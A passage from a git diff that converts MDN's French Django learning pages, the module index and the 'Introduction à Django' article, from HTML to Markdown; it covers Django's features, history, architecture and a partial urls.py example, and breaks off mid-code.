href="/fr/docs/Learn/Server-side/Django/web_application_security">Le module de sécurité de Django</a></dt> - <dd>Protéger les données de l'utilisateur est essentiel dans la conception d'un site web, nous avons précédemment expliqué quel pouvaient être les menaces principales dans l'article sur la <a href="/fr/docs/Web/Security">sécurité web</a> — cet article fournis une démonstration pratique des réaction des protections incluse de Django face à ce genre de menaces ainsi que la façon dont elles sont traitées.</dd> -</dl> - -<h2 id="Evaluation">Evaluation</h2> - -<p>L'évaluation suivante va tester votre compréhension à créer un site web avec Django comme décris dans la liste des guides ci-dessous.</p> - -<dl> - <dt><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">Mini blog avec Django</a></dt> - <dd>Dans ce devoir, vous utiliserez les connaissances que vous venez d'acquérir, afin de créer votre propre blog.</dd> -</dl> +{{LearnSidebar}} + +Django est une infrastructure d'application (aussi appelé framework) côté serveur extremement populaire et dotée de beaucoup de fonctionnalités, écrite en Python. Ce module vous montrera pourquoi Django fait partie des frameworks web les plus populaires ainsi que comment l'installer, le mettre en place, et s'en servir afin de créer vos propres applications web. + +## Prerequis + +Aucune connaissance sur ce framework n'est requise. Il vous faudra seulement comprendre ce qu'est la programmation web côté serveur ainsi que les frameworks web, notamment en lisant les sujets sur notre [module d'initiation à la programmation web coté serveur](/fr/docs/Learn/Server-side/First_steps). + +Une connaissance générale en programmation et plus précisement en [Python](/fr/docs/Glossaire/Python) est recommandée, mais pas nécessaire pour comprendre la majeure partie de ce module. + +> **Note :** Python est un des languages les plus faciles à apprendre, lire et comprendre pour les novices. Ceci dit, si vous voulez mieux comprendre ce module, il existe beaucoup de livres gratuits et de tutoriaux sur internet (les nouveaux programmeurs pourraient être intéressés par la page du[ Python pour les non-programmeurs](https://wiki.python.org/moin/BeginnersGuide/NonProgrammers) dans la documentation sur le site officiel de Python: python.org). + +## Guides + +- [Introduction à Django](/fr/docs/Learn/Server-side/Django/Introduction) + - : Dans ce premier article, nous répondrons aux questions "qu'est ce que Django ?" et vous donner un aperçu rapide de ce qu'un framework peut vous apporter. Nous survolerons les fonctionnalités principales ainsi que quelques fonctionnalités avancées que nous ne pouvons pas détailler en l'espace d'un seul module. Nous vous montrerons aussi les blocs principaux de Django ce qui vous donnera un aperçu de ce qui est faisable avant de commencer. +- [Installer un environnement de développement pour Django](/fr/docs/Learn/Server-side/Django/development_environment) + - : Maintenant que vous savez ce qu'est Django, nous allons nous attaquer à la partie installation, comment l'installer sous Windows, Linux(Ubuntu), et Mac OS X — tant que vous utilisez un système d'exploitation commun, cet article devrait vous donner le nécessaire afin de commencer à développer des applications avec Django. +- [Tutoriel Django: Le site web d'une librairie](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) + - : Le premier article de cette série de tutoriels explique ce que vous aurez à apprendre autour d'un site que nous allons programmer pour une bibliothèque, site web dans lequel nous allons travailler et évoluer à travers plusieurs articles. +- [Tutoriel Django Partie 2: Créer un squelette d'un site web](/fr/docs/Learn/Server-side/Django/skeleton_website) + - : Cet article vous montrera comment créer le "squelette" d'un site web auquel vous pourrez ajouter de quoi le personnaliser avec des paramètres spécifiques, des URLs, des modèles et des templates. +- [Tutoriel Django Partie 3: Utilisation des modèles](/fr/docs/Learn/Server-side/Django/Models) + - : Cet article montre comment définir des modèles pour le site web que nous appelleront _LocalLibrary_ — les modèles représentent la façon dont sont structurées nos données dans nos applications, nous autoriserons aussi Django à stocker des données dans une base de données pour nous (et modifier cela plus tard). Cet article explique en somme ce qu'un modèle est, comment le déclarer et les champs principaux. Il décrit aussi brièvement comment accéder aux données d'un modèle. +- [Tutoriel Django Partie 4: L'administration d'un site sous Django](/fr/docs/Learn/Server-side/Django/Admin_site) + - : Maintenant que nous avons créé quelques modèles pour le site web _LocalLibrary_ , nous allons utiliser Django Admin afin d'ajouter quelques "réelles" tables de données. Premièrement, nous allons vous montrer comment enregistrer des modèles avec la partie Admin, ensuite nous allons vous montrer comment se connecter et créer des informations. A la fin, nous allons vous montrer quelques moyens d'améliorer la présentation de la partie Admin. +- [Tutoriel Django Partie 5: Céez votre page d'accueil.](/fr/docs/Learn/Server-side/Django/Home_page) + - : Nous sommes fin prêts à ajouter le code afin d'afficher notre première page entièremement — une page d'accueil pour le site web _LocalLibrary_ qui montre combien d'enregistrements nous avons de chaque types de modèles et fournis une barre de navigation avec des liens menant à d'autres pages. Au fur et à mesure, nous gagnerons de l'expérience en écrivant du mapping d'URLs, en obtenant des enregistrements de la base de données et en utilisant des templates. +- [Tutoriel Django Partie 6: Listes génériques et détails des pages](/fr/docs/Learn/Server-side/Django/Generic_views) + - : Ce tutoriel viens étendre notre site _LocaLibrary_ en y ajoutant des listes et des détails pour les auteurs et les livres. Ici nous allons tout vous apprendre sur les classes et vous montrer comment elles peuvent réduire la quantité de code que vous avez à écrire dans des situations communes. Nous allons aussi vous apprendre comment manipuler les URL plus en détail, ainsi que la réalisation basique d'un moteur de recherche. +- [Tutoriel Django Partie 7: Les sessions de framework](/fr/docs/Learn/Server-side/Django/Sessions) + - : Ce tutoriel viens compléter le site _LocalLibrary_, en ajoutant un compteur de visiteurs basé sur un principe de session sur la page principale C'est un exemple relativement simple, mais il vous permettra de vous apprendre comment utiliser le système de session en fournissant un comportement persistant aux utilisateurs anonyme de votre site. +- [Tutoriel Django Partie 8: L'authentification de l'utilisateur ainsi que les permissions](/fr/docs/Learn/Server-side/Django/Authentication) + - : Dans ce tutoriel, nous allons vous montrer comment autoriser les utilisateurs à se connecter à votre site avec leurs propres comptes, et comment contrôler ce qu'ils peuvent faire et voir en fonction des _permissions_ accordées et de s'ils sont connectés ou non. Comme partie de cette démonstration, nous allons étendre le site _LocalLibrary_ en ajoutant une page de connexion, de déconnexion et d'utilisateur - ainsi que des pages dédiées aux membres de la librairie afin de voir quel livre a été emprunté. +- [Tutoriel Django Partie 9: Travailler avec les formulaires](/fr/docs/Learn/Server-side/Django/Forms) + - : Dans ce tutoriel, nous allons vous montrer comment travailler avec [les formulaires en HTML](/fr/docs/Web/Guide/HTML/Forms) avec Django, et plus particulièrement la façon la plus facile d'écrire, créer, mettre à jour et supprimer les formulaires. Pour cela, nous allons devoir étendre le site _LocalLibrary_ afin que les libraires puissent changer les livres, et créer, mettre à jour, et supprimer les auteurs en utilisant nos propres formulaires (au lieu de passer par Django Admin). +- [Tutoriel Django Partie 10: Tester une application Django](/fr/docs/Learn/Server-side/Django/Testing) + - : Plus les sites s'agrandissent, plus il devient dur de les tester manuellement — pas seulement parce que il y a plus de contenu à tester mais aussi parce que les intéractions entre les éléments deviennent plus complexes, un petit changement dans une partie du site peut nécessiter de nombreux tests afin de vérifier que ce changement n'a pas impacté les autres parties du site. La solution à ce problème est de programmer des tests automatiques, qui peuvent facilement et fiablement être executés à chaque changements. Ce tutoriel montre comment automatiser vos tests sur votre site web en utilisant le module de test du framework Django. +- [Tutoriel Django Partie 11: Déployer son site fait avec Django](/fr/docs/Learn/Server-side/Django/Deployment) + - : Vous avez créé (et testé) un incroyable site web _LocalLibray_, vous allez maintenant l'installer sur un serveur public ce qui le rendra accessible aux membres de la librairie à travers internet. Cet article fournis un aperçu de comment vous pourriez trouver un hébergeur pour déployer votre site et de ce dont vous avez besoin pour rendre votre site pleinement fonctionnel. +- [Le module de sécurité de Django](/fr/docs/Learn/Server-side/Django/web_application_security) + - : Protéger les données de l'utilisateur est essentiel dans la conception d'un site web, nous avons précédemment expliqué quel pouvaient être les menaces principales dans l'article sur la [sécurité web](/fr/docs/Web/Security) — cet article fournis une démonstration pratique des réaction des protections incluse de Django face à ce genre de menaces ainsi que la façon dont elles sont traitées. + +## Evaluation + +L'évaluation suivante va tester votre compréhension à créer un site web avec Django comme décris dans la liste des guides ci-dessous. + +- [Mini blog avec Django](/fr/docs/Learn/Server-side/Django/django_assessment_blog) + - : Dans ce devoir, vous utiliserez les connaissances que vous venez d'acquérir, afin de créer votre propre blog. diff --git a/files/fr/learn/server-side/django/introduction/index.md b/files/fr/learn/server-side/django/introduction/index.md index 6fa1007ece..57196c0c2c 100644 --- a/files/fr/learn/server-side/django/introduction/index.md +++ b/files/fr/learn/server-side/django/introduction/index.md @@ -7,132 +7,137 @@ tags: - django translation_of: Learn/Server-side/Django/Introduction --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}} -<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> - -<p>Dans ce premier article sur Django, nous allons répondre à la question suivante "Qu'est ce que Django ?", et nous vous montrerons en quoi cette infrastructure d'application (aussi appelée framework) est spéciale. Nous allons ensuite voir les principales fonctionnalités, mais aussi quelques fonctionnalités avancées que nous n'aurons malheureusement pas le temps de voir en détails dans ce module. Nous allons aussi vous montrer comment fonctionne une application Django (bien que nous n'ayons pas d'environnement où le tester) .</p> +Dans ce premier article sur Django, nous allons répondre à la question suivante "Qu'est ce que Django ?", et nous vous montrerons en quoi cette infrastructure d'application (aussi appelée framework) est spéciale. Nous allons ensuite voir les principales fonctionnalités, mais aussi quelques fonctionnalités avancées que nous n'aurons malheureusement pas le temps de voir en détails dans ce module. Nous allons aussi vous montrer comment fonctionne une application Django (bien que nous n'ayons pas d'environnement où le tester) . <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Connaissances basiques de programmation. Une compréhension générale de la <a href="/fr/docs/Learn/Server-side/First_steps">programmation coté serveur</a> ainsi qu'une <a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview">compréhension des interactions client-serveur dans les sites web</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Se familiariser avec Django en comprenant ce que c'est, les fonctionnalités qu'il fournit ainsi que les blocs de construction principaux d'une application Django.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Connaissances basiques de programmation. Une compréhension générale de + la + <a href="/fr/docs/Learn/Server-side/First_steps" + >programmation coté serveur</a + > + ainsi qu'une + <a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview" + >compréhension des interactions client-serveur dans les sites web</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Se familiariser avec Django en comprenant ce que c'est, les + fonctionnalités qu'il fournit ainsi que les blocs de construction + principaux d'une application Django. + </td> + </tr> + </tbody> </table> -<h2 id="Quest_ce_que_Django">Qu'est ce que Django?</h2> +## Qu'est ce que Django? + +Django est un framework Python de haut niveau, permettant un développement rapide de sites internet, sécurisés, et maintenables. Créé par des développeurs experimentés, Django prend en charge la plupart des tracas du développement web, vous pouvez donc vous concentrer sur l'écriture de votre application sans avoir besoin de réinventer la roue. Il est gratuit, open source, a une communauté active, une bonne documentation, et plusieurs options pour du support gratuit ou non. + +Django vous aide à écrire une application qui est: + +- Complète + - : Django suit la philosophie "Piles incluses" et fournit presque tout ce que les développeurs pourraient vouloir faire. Comme tout ce dont vous avez besoin est une partie de ce "produit", tout fonctionne parfaitement ensemble, suivant des principes de conception cohérents, il possède également une [documentation complète ](https://docs.djangoproject.com/en/2.0/)et à jour. +- Polyvalent + + - : Django peut être (et a été) utilisé pour créer presque tous les genres de sites — du gestionnaire de données aux wikis, jusqu'aux réseaux sociaux et aux sites d'actualités. Il peut fonctionner avec n'importe quelle infrastructure côté client, et peut renvoyer des données dans quasiment n'importe quel format (notamment HTML, RSS, JSON, XML, etc). Le site sur lequel vous lisez en ce moment est basé sur Django! + + Tandis qu'il fournit presque toutes les fonctionnalités dont vous pourriez avoir besoin (comme des base de données populaires, des moteurs de modélisation, etc.), il peut tout de même être étendu pour utiliser d'autres composants si besoin. -<p>Django est un framework Python de haut niveau, permettant un développement rapide de sites internet, sécurisés, et maintenables. Créé par des développeurs experimentés, Django prend en charge la plupart des tracas du développement web, vous pouvez donc vous concentrer sur l'écriture de votre application sans avoir besoin de réinventer la roue. Il est gratuit, open source, a une communauté active, une bonne documentation, et plusieurs options pour du support gratuit ou non. </p> +- Sécurisé -<p>Django vous aide à écrire une application qui est:</p> + - : Django aide les développeurs à éviter les erreurs de sécurité classique en fournissant une infrastructure conçue pour "faire ce qu'il faut" pour protéger les sites internet automatiquement. Par exemple, Django fournit un moyen sécurisé pour gérer les comptes des utilisateurs ainsi que leurs mots de passe, évitant les erreurs classiques comme mettre des informations sur la session dans des cookies, où elles sont vulnérables (à la place les cookies contiennent seulement une clé, et les données sont stockées dans la base de données), ou directement stocker des mots de passe, au lieu de mot de passe hachés. -<dl> - <dt>Complète</dt> - <dd>Django suit la philosophie "Piles incluses" et fournit presque tout ce que les développeurs pourraient vouloir faire. Comme tout ce dont vous avez besoin est une partie de ce "produit", tout fonctionne parfaitement ensemble, suivant des principes de conception cohérents, il possède également une <a href="https://docs.djangoproject.com/en/2.0/">documentation complète </a>et à jour.</dd> - <dt>Polyvalent</dt> - <dd>Django peut être (et a été) utilisé pour créer presque tous les genres de sites — du gestionnaire de données aux wikis, jusqu'aux réseaux sociaux et aux sites d'actualités. Il peut fonctionner avec n'importe quelle infrastructure côté client, et peut renvoyer des données dans quasiment n'importe quel format (notamment HTML, RSS, JSON, XML, etc). Le site sur lequel vous lisez en ce moment est basé sur Django!<br> - <br> - Tandis qu'il fournit presque toutes les fonctionnalités dont vous pourriez avoir besoin (comme des base de données populaires, des moteurs de modélisation, etc.), il peut tout de même être étendu pour utiliser d'autres composants si besoin.</dd> - <dt>Sécurisé</dt> - <dd>Django aide les développeurs à éviter les erreurs de sécurité classique en fournissant une infrastructure conçue pour "faire ce qu'il faut" pour protéger les sites internet automatiquement. Par exemple, Django fournit un moyen sécurisé pour gérer les comptes des utilisateurs ainsi que leurs mots de passe, évitant les erreurs classiques comme mettre des informations sur la session dans des cookies, où elles sont vulnérables (à la place les cookies contiennent seulement une clé, et les données sont stockées dans la base de données), ou directement stocker des mots de passe, au lieu de mot de passe hachés.<br> - <br> - <em>Un mot de passé haché est une valeur dont la longueur est fixée, créée en envoyant le mot de passe à travers une <a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function">fonction de hachage cryptographique</a>. Django peut vérifier si un mot de passe entré est correct en l'envoyant dans la fonction de hachage et en comparant le retour avec la valeur stockée dans la base de données. De ce fait, la nature unidirectionnelle de la fonction rend difficile pour un attaquant de retrouver le mot de passe d'origine, même si la valeur hachée est compromise.</em><br> - <br> - Django active par défaut la protection contre beaucoup de vulnérabilités, comme les injections SQL, le cross-site scripting, le cross-site request forgery et le clickjacking (voir <a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Website security</a> pour plus de détails sur ce genre d'attaques).</dd> - <dt>Scalable</dt> - <dd>Django utilise une architecture composite "shared-nothing" (chaque composant de l'architecture est indépendant des autres, et peut ainsi être remplacé ou changé si besoin). En ayant des séparations nettes entres les différentes parties, Django peut se scaler lors d'une hausse de trafic en ajoutant du hardware à tous les niveaux : serveurs cache, serveurs de base de données, serveurs d'application. Certains des sites les plus fréquentés ont réussi à scaler Django pour répondre à leur demande (par exemple, Instagram et Disqus pour ne nommer qu'eux deux).</dd> - <dt>Maintenable</dt> - <dd>Les principes de design du code Django encouragent la création d'un code simple à maintenir et réutilisable. Il fait notamment appel à la philosophie du Ne Vous Répétez Pas (DRY pour Don't Repeat Yourself en anglais), afin d'éviter toute duplication superflue, réduisant la taille de votre code. Django promeut aussi le regroupement de fonctionnalités reliées entre elles en "applications" réutilisables et, à un plus bas niveau, regroupe des lignes de code dépendantes entre elles en modules (suivant les lignes du motif d'architecture Modèle-vue-contrôleur (MVC)).</dd> - <dt>Portable</dt> - <dd>Django est écrit en Python, qui fonctionne sous diverses plateformes. Cela veut dire que vous ne serez plus contraint par une plateforme en particulier, et vous pourrez faire fonctionner vos applications sous autant de versions de Linux, Windows et Mac OS X que vous le souhaitez. De plus, Django est très bien supporté par plusieurs fournisseurs d'hébergement web, qui offrent souvent des infrastructures et de la documentation spécifiques pour héberger des sites Django.</dd> -</dl> + _Un mot de passé haché est une valeur dont la longueur est fixée, créée en envoyant le mot de passe à travers une [fonction de hachage cryptographique](https://en.wikipedia.org/wiki/Cryptographic_hash_function). Django peut vérifier si un mot de passe entré est correct en l'envoyant dans la fonction de hachage et en comparant le retour avec la valeur stockée dans la base de données. De ce fait, la nature unidirectionnelle de la fonction rend difficile pour un attaquant de retrouver le mot de passe d'origine, même si la valeur hachée est compromise._ -<h2 id="Doù_vient-il">D'où vient-il ?</h2> + Django active par défaut la protection contre beaucoup de vulnérabilités, comme les injections SQL, le cross-site scripting, le cross-site request forgery et le clickjacking (voir [Website security](/fr/docs/Learn/Server-side/First_steps/Website_security) pour plus de détails sur ce genre d'attaques). -<p>À l'origine, Django fut développé entre 2003 et 2005 par une équipe web responsable de la création et de la maintenance de sites journalistiques. Après avoir créé un certain nombre de sites, l'équipe commença à exclure et à réutiliser des codes récurrents et des schémas d'architecture. Ce code récurrent finit par évoluer en un framework générique de développement web, qui fut mis à disposition en open-source sous le projet "Django" en Juillet 2005.</p> +- Scalable + - : Django utilise une architecture composite "shared-nothing" (chaque composant de l'architecture est indépendant des autres, et peut ainsi être remplacé ou changé si besoin). En ayant des séparations nettes entres les différentes parties, Django peut se scaler lors d'une hausse de trafic en ajoutant du hardware à tous les niveaux : serveurs cache, serveurs de base de données, serveurs d'application. Certains des sites les plus fréquentés ont réussi à scaler Django pour répondre à leur demande (par exemple, Instagram et Disqus pour ne nommer qu'eux deux). +- Maintenable + - : Les principes de design du code Django encouragent la création d'un code simple à maintenir et réutilisable. Il fait notamment appel à la philosophie du Ne Vous Répétez Pas (DRY pour Don't Repeat Yourself en anglais), afin d'éviter toute duplication superflue, réduisant la taille de votre code. Django promeut aussi le regroupement de fonctionnalités reliées entre elles en "applications" réutilisables et, à un plus bas niveau, regroupe des lignes de code dépendantes entre elles en modules (suivant les lignes du motif d'architecture Modèle-vue-contrôleur (MVC)). +- Portable + - : Django est écrit en Python, qui fonctionne sous diverses plateformes. Cela veut dire que vous ne serez plus contraint par une plateforme en particulier, et vous pourrez faire fonctionner vos applications sous autant de versions de Linux, Windows et Mac OS X que vous le souhaitez. De plus, Django est très bien supporté par plusieurs fournisseurs d'hébergement web, qui offrent souvent des infrastructures et de la documentation spécifiques pour héberger des sites Django. -<p>Django a continué à se développer et à s'améliorer, depuis sa première sortie (1.0) en Septembre 2008 jusqu'à la version 2.0 récemment sortie (2017). Chaque sortie a ajouté son lot de nouvelles fonctionnalités et de corrections de bugs, allant du support de nouveaux types de bases de données, de moteurs de templates et de cache, à l'addition de fonctions et de classes de vues 'génériques' (qui réduisent la quantité de code que doivent écrire les développeurs pour tout un tas de tâches de programmation). </p> +## D'où vient-il ? -<div class="note"> -<p><strong>Note :</strong> Consultez les <a href="https://docs.djangoproject.com/en/1.10/releases/">notes de publication</a> sur le site web de Django pour voir les changements apportés dans les versions récentes, ainsi que tout le travail accompli pour améliorer Django.</p> -</div> +À l'origine, Django fut développé entre 2003 et 2005 par une équipe web responsable de la création et de la maintenance de sites journalistiques. Après avoir créé un certain nombre de sites, l'équipe commença à exclure et à réutiliser des codes récurrents et des schémas d'architecture. Ce code récurrent finit par évoluer en un framework générique de développement web, qui fut mis à disposition en open-source sous le projet "Django" en Juillet 2005. -<p>Désormais, Django est un projet open-source collaboratif florissant, avec plusieurs milliers d'utilisateurs et de contributeurs. Bien que plusieurs fonctionnalités reflètent encore ses origines, Django a évolué en un framework versatile capable de développer n'importe quel type de site web. </p> +Django a continué à se développer et à s'améliorer, depuis sa première sortie (1.0) en Septembre 2008 jusqu'à la version 2.0 récemment sortie (2017). Chaque sortie a ajouté son lot de nouvelles fonctionnalités et de corrections de bugs, allant du support de nouveaux types de bases de données, de moteurs de templates et de cache, à l'addition de fonctions et de classes de vues 'génériques' (qui réduisent la quantité de code que doivent écrire les développeurs pour tout un tas de tâches de programmation). -<h2 id="À_quel_point_Django_est-il_populaire">À quel point Django est-il populaire ?</h2> +> **Note :** Consultez les [notes de publication](https://docs.djangoproject.com/en/1.10/releases/) sur le site web de Django pour voir les changements apportés dans les versions récentes, ainsi que tout le travail accompli pour améliorer Django. -<p>Il n'y a pas encore de mesure toute prête et définitive de la popularité des frameworks orientés serveur (bien que des sites comme <a href="http://hotframeworks.com/">Hot Frameworks</a> tentent d'estimer cette popularité en utilisant des moyens comme le comptage de projets GitHub et de questions sur StackOverflow pour chaque plateforme). Une meilleure question serait plutôt est-ce que Django est "suffisamment populaire" pour éviter les problèmes des plateformes moins populaires. Va-t-il continuer d'évoluer ? Pourrez-vous obtenir de l'aide si vous en avez besoin ? Aurez-vous des opportunités d'emploi si vous apprenez Django ? </p> +Désormais, Django est un projet open-source collaboratif florissant, avec plusieurs milliers d'utilisateurs et de contributeurs. Bien que plusieurs fonctionnalités reflètent encore ses origines, Django a évolué en un framework versatile capable de développer n'importe quel type de site web. -<p>Si l'on se base sur la quantité de sites web reconnus qui utilisent Django, la quantité de personnes contribuant à son code source, et la quantité de personnes fournissant du support libre ou payant, alors oui, Django est un framework populaire !</p> +## À quel point Django est-il populaire ? -<p>Parmi les sites web qui utilisent Django, on retrouve : Disqus, Instagram, la Knight Foundation, la MacArthur Foundation, Mozilla, National Geographic, l'Open Knowledge Foundation, Pinterest et Open Stack (source : <a href="https://www.djangoproject.com/">Page d'accueil de Django</a>).</p> +Il n'y a pas encore de mesure toute prête et définitive de la popularité des frameworks orientés serveur (bien que des sites comme [Hot Frameworks](http://hotframeworks.com/) tentent d'estimer cette popularité en utilisant des moyens comme le comptage de projets GitHub et de questions sur StackOverflow pour chaque plateforme). Une meilleure question serait plutôt est-ce que Django est "suffisamment populaire" pour éviter les problèmes des plateformes moins populaires. Va-t-il continuer d'évoluer ? Pourrez-vous obtenir de l'aide si vous en avez besoin ? Aurez-vous des opportunités d'emploi si vous apprenez Django ? -<h2 id="Django_est-il_restrictif">Django est-il restrictif ?</h2> +Si l'on se base sur la quantité de sites web reconnus qui utilisent Django, la quantité de personnes contribuant à son code source, et la quantité de personnes fournissant du support libre ou payant, alors oui, Django est un framework populaire ! -<p>Les frameworks web sont souvent qualifiés de "restrictifs" ou de "non-restrictifs".</p> +Parmi les sites web qui utilisent Django, on retrouve : Disqus, Instagram, la Knight Foundation, la MacArthur Foundation, Mozilla, National Geographic, l'Open Knowledge Foundation, Pinterest et Open Stack (source : [Page d'accueil de Django](https://www.djangoproject.com/)). -<p>Les frameworks restrictifs sont ceux vous donnant une "bonne façon" de réaliser une tâche particulière. Ils sous-tendent souvent un développement rapide <em>dans un domaine particulier </em>(résoudre des problèmes d'un type particulier), car cette bonne façon de faire est souvent bien comprise et bien documentée. Cependant, ils peuvent être moins flexibles dans leurs capacités à résoudre des problèmes en dehors de leur domaine, et offrent souvent moins de choix sur les composants et approches utilisables.</p> +## Django est-il restrictif ? -<p>En contraste, les frameworks non-restrictifs ont moins de restrictions sur la meilleure façon d'assembler des composants ensemble pour achever un but, voire même sur quels composants utiliser. Ils simplifient la tâche des développeurs en leur permettant d'utiliser les outils les mieux adaptés à la réalisation d'une tâche particulière, au coût toutefois du besoin du développeur de trouver ces composants.<br> - <br> - Django est "plus ou moins restrictif", et offre ainsi le "meilleur de chaque approche". Il fournit un ensemble de composants pour gérer la plupart des tâches de développement web ainsi qu'une (ou deux) approches préférées sur leur utilisation. Toutefois, l'architecture découplée de Django implique que vous pouvez généralement choisir parmi un certain nombre d'options différentes, ou bien fournir un support pour des approches complètement nouvelles si vous le désirez.</p> +Les frameworks web sont souvent qualifiés de "restrictifs" ou de "non-restrictifs". -<h2 id="À_quoi_ressemble_le_code_Django">À quoi ressemble le code Django ?</h2> +Les frameworks restrictifs sont ceux vous donnant une "bonne façon" de réaliser une tâche particulière. Ils sous-tendent souvent un développement rapide _dans un domaine particulier_ (résoudre des problèmes d'un type particulier), car cette bonne façon de faire est souvent bien comprise et bien documentée. Cependant, ils peuvent être moins flexibles dans leurs capacités à résoudre des problèmes en dehors de leur domaine, et offrent souvent moins de choix sur les composants et approches utilisables. -<p>Dans un site web traditionnel orienté-données, une application web attend une requête HTTP d'un navigateur web (ou tout autre client). Quand une requête est reçue, l'application en comprend les besoins d'après l'URL et parfois d'après les informations en <code>POST</code> data ou <code>GET</code> data. En fonction de ce qui est attendu, elle peut ensuite lire ou écrire l'information dans une base de données ou réaliser une autre tâche requise pour satisfaire la requête. L'application renvoie ensuite une réponse au navigateur web, créant souvent en dynamique une page HTML affichée dans le navigateur où les données récupérées sont insérées dans les balises d'un modèle HTML.</p> +En contraste, les frameworks non-restrictifs ont moins de restrictions sur la meilleure façon d'assembler des composants ensemble pour achever un but, voire même sur quels composants utiliser. Ils simplifient la tâche des développeurs en leur permettant d'utiliser les outils les mieux adaptés à la réalisation d'une tâche particulière, au coût toutefois du besoin du développeur de trouver ces composants. -<p>Les applications web Django regroupent généralement le code qui gère chacune de ces étapes dans des fichiers séparés :</p> +Django est "plus ou moins restrictif", et offre ainsi le "meilleur de chaque approche". Il fournit un ensemble de composants pour gérer la plupart des tâches de développement web ainsi qu'une (ou deux) approches préférées sur leur utilisation. Toutefois, l'architecture découplée de Django implique que vous pouvez généralement choisir parmi un certain nombre d'options différentes, ou bien fournir un support pour des approches complètement nouvelles si vous le désirez. -<p><img alt="" src="basic-django.png"></p> +## À quoi ressemble le code Django ? -<ul> - <li><strong>URLs : </strong> Bien qu'il soit possible de traiter les requêtes de chaque URL via une fonction unique, il est bien plus viable d'écrire une fonction de vue isolée qui gèrera chaque ressource. Un mapper URL est utilisé pour rediriger les requêtes HTTP à la vue appropriée d'après l'URL de requête. Le mapper URL peut aussi faire la correspondance entre des patterns de chaînes de caractères ou de nombres qui apparaissent dans une URL et passer ces derniers comme données dans une fonction de vue.</li> - <li><strong>Vues :</strong> Une vue est une fonction de gestion des requêtes, qui reçoit des requêtes HTTP et renvoie des réponses HTTP. Les vues accèdent aux données requises pour satisfaire des requêtes via des <em>modèles</em>, et délèguent le formatage des réponses aux <em>templates</em>.</li> - <li><strong>Modèles :</strong> Les modèles sont des objets Python, qui définissent la structure des données d'une application, et fournissent des mécanismes de gestion (ajout, modification, suppression) et requêtent les enregistrements d'une base de données. </li> - <li><strong>Templates:</strong> Un template est un fichier texte qui définit la structure ou la mise en page d'un fichier (comme une page HTML), avec des balises utilisées pour représenter le contenu. Une <em>vue </em>peut créer une page HTML en dynamique en utilisant un template HTML, en la peuplant avec les données d'un <em>modèle</em>. Un template peut-être utilisé pour définir la structure de n'importe quel type de fichier; il n'est pas obligatoire que ce dernier soit un HTML !</li> -</ul> +Dans un site web traditionnel orienté-données, une application web attend une requête HTTP d'un navigateur web (ou tout autre client). Quand une requête est reçue, l'application en comprend les besoins d'après l'URL et parfois d'après les informations en `POST` data ou `GET` data. En fonction de ce qui est attendu, elle peut ensuite lire ou écrire l'information dans une base de données ou réaliser une autre tâche requise pour satisfaire la requête. L'application renvoie ensuite une réponse au navigateur web, créant souvent en dynamique une page HTML affichée dans le navigateur où les données récupérées sont insérées dans les balises d'un modèle HTML. -<div class="note"> -<p><strong>Note :</strong> Django mentionne cette organisation sous le nom d'architecture "Modèle Vue Template". Elle a plusieurs similarités avec l'architecture <a href="/fr/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Modèle Vue Contrôleur</a>.</p> -</div> +Les applications web Django regroupent généralement le code qui gère chacune de ces étapes dans des fichiers séparés : -<ul> -</ul> + -<p>Les sections ci-dessous vous donneront une idée de ce à quoi ressemble ces différentes parties d'une application Django (nous verrons plus de détails plus tard dans le jeu, une fois que nous aurons configuré l'environnement de développement).</p> +- **URLs :** Bien qu'il soit possible de traiter les requêtes de chaque URL via une fonction unique, il est bien plus viable d'écrire une fonction de vue isolée qui gèrera chaque ressource. Un mapper URL est utilisé pour rediriger les requêtes HTTP à la vue appropriée d'après l'URL de requête. Le mapper URL peut aussi faire la correspondance entre des patterns de chaînes de caractères ou de nombres qui apparaissent dans une URL et passer ces derniers comme données dans une fonction de vue. +- **Vues :** Une vue est une fonction de gestion des requêtes, qui reçoit des requêtes HTTP et renvoie des réponses HTTP. Les vues accèdent aux données requises pour satisfaire des requêtes via des _modèles_, et délèguent le formatage des réponses aux *templates*. +- **Modèles :** Les modèles sont des objets Python, qui définissent la structure des données d'une application, et fournissent des mécanismes de gestion (ajout, modification, suppression) et requêtent les enregistrements d'une base de données. +- **Templates:** Un template est un fichier texte qui définit la structure ou la mise en page d'un fichier (comme une page HTML), avec des balises utilisées pour représenter le contenu. Une *vue* peut créer une page HTML en dynamique en utilisant un template HTML, en la peuplant avec les données d'un *modèle*. Un template peut-être utilisé pour définir la structure de n'importe quel type de fichier; il n'est pas obligatoire que ce dernier soit un HTML ! -<h3 id="Envoyer_la_requête_à_la_bonne_vue_urls.py">Envoyer la requête à la bonne vue (urls.py)</h3> +> **Note :** Django mentionne cette organisation sous le nom d'architecture "Modèle Vue Template". Elle a plusieurs similarités avec l'architecture [Modèle Vue Contrôleur](/fr/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture). -<p>Le mapper URL est généralement stocké dans un fichier nommé <strong>urls.py</strong>. Dans l'exemple ci-dessous, le mapper (<code>urlpatterns</code>) définit une liste de mappings entre des <em>routes</em> (des <em>patterns </em>d'URL spécifiques<em>) </em>et leur fonction de vue correspondante. Si une requête HTTP est reçue dont l'URL correspond à un pattern spécifié, la fonction vue associée sera alors appelée et passée dans la requête.</p> +Les sections ci-dessous vous donneront une idée de ce à quoi ressemble ces différentes parties d'une application Django (nous verrons plus de détails plus tard dans le jeu, une fois que nous aurons configuré l'environnement de développement). -<pre>urlpatterns = [ - <strong>path('admin/', admin.site.urls), - </strong>path('book/<int:id>/', views.book-detail, name='book-detail'), - path('catalog/', include('catalog.urls')), - re_path(r'^([0-9]+)/$', 